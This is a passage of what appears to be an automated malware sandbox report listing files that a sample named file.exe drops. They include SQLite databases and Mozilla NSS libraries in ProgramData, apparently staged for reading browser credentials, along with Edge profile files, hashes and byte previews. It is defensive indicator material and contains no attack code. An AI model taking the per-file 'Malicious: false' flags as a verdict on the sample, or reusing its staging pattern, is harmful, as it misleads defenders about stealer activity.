File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJEGCBGIDGHIDHDGCBFCGDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFHJDAEHIEHJJKFBGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IeccNv7PP6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: IeccNv7PP6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\24cbb73a-6802-4924-a346-26d37a75fc1f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\24de7fcc-f3fe-47d7-9169-52f6e7f06ab2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44620
Entropy (8bit):	6.096345298448902
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB+wuHhDO6vP6OGbGHFohfLFbkFEscGoup1Xl3jVz6:z/Ps+wsI7ynEZ6cEchu3VlXr4CRo1
MD5:	F60CDAF90334B1B79962BAB559CA6133
SHA1:	6AFCA5FD95D909435BBA714182E7139D309C027A
SHA-256:	E0D69039D384E16E12F0F18D31A7A63734D3A6F508F8FDAEC26FF798EB7561CA
SHA-512:	2D7D5D11412AB77F74F681AFFFC31C93F61C12F4435CB3A77536ACE330F7E52109C60AA914DA108DBDA329E7080C446B758ACDDB6624FC7A53DB525C1221ACB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\31ae4091-fa3c-4701-a264-f500b216ecb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45792
Entropy (8bit):	6.087234924000188
Encrypted:	false
SSDEEP:	768:4MkbJrT8IeQc5d9p90euEhDO6vP6OGbGHtazxLWK8DP84H8DuPCAoAGoup1Xl3j8:4Mk1rT8H19p9+6cdiC+RoAhu3VlXr4Z
MD5:	C903CCE77F7C27B71DEC1E69590750F6
SHA1:	60D85D3C4458E849FEF2E08912B794EB38FD4733
SHA-256:	27DCA436F85ECEFADB6AF72D53B3349613E9346B02BA22EF55243C1B319DBDE8
SHA-512:	81DF4507FE943E111E692AAE77D69634792EF89154A40B179F77A8D1A6C76DA6D16CF863F8AF78607A0897C0FE8C1412F58A37F4CBA5C21A5E59C8F4F0C35528
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732612162"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e8b7ca1-4366-4966-a45e-ea3ac6419cba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45869
Entropy (8bit):	6.087165733380367
Encrypted:	false
SSDEEP:	768:4MkbJrT8IeQc5z9p90euEhDO6vP6OGbGHBazxLWK8DP84H8DuPCAoAGoup1Xl3j8:4Mk1rT8H79p9+6c5iC+RoAhu3VlXr4Z
MD5:	FEA5AB66F978C5516111AB0D98DC6806
SHA1:	A8513A2BABDAC77B8C70B0FB03F7CA491022242E
SHA-256:	A0E72885AD30ACF51DBC09FC1DE53A17718BCF820681FABC4D5CB5AFBEE71B1F
SHA-512:	4A640471BA4F5881730EDABED7A93B8422AB44D32041C887812E8458879B4BEDF21842010418A632A54975E8D2049D5B8CBB8B9A4AA63B10F1037A8A5E5D43F0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732612162"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7ee83987-c934-4d93-a755-ffc79e95f2a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44620
Entropy (8bit):	6.096345298448902
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB+wuHhDO6vP6OGbGHFohfLFbkFEscGoup1Xl3jVz6:z/Ps+wsI7ynEZ6cEchu3VlXr4CRo1
MD5:	F60CDAF90334B1B79962BAB559CA6133
SHA1:	6AFCA5FD95D909435BBA714182E7139D309C027A
SHA-256:	E0D69039D384E16E12F0F18D31A7A63734D3A6F508F8FDAEC26FF798EB7561CA
SHA-512:	2D7D5D11412AB77F74F681AFFFC31C93F61C12F4435CB3A77536ACE330F7E52109C60AA914DA108DBDA329E7080C446B758ACDDB6624FC7A53DB525C1221ACB8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c4c0e717-16bf-4263-9d7e-0dc20be133d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
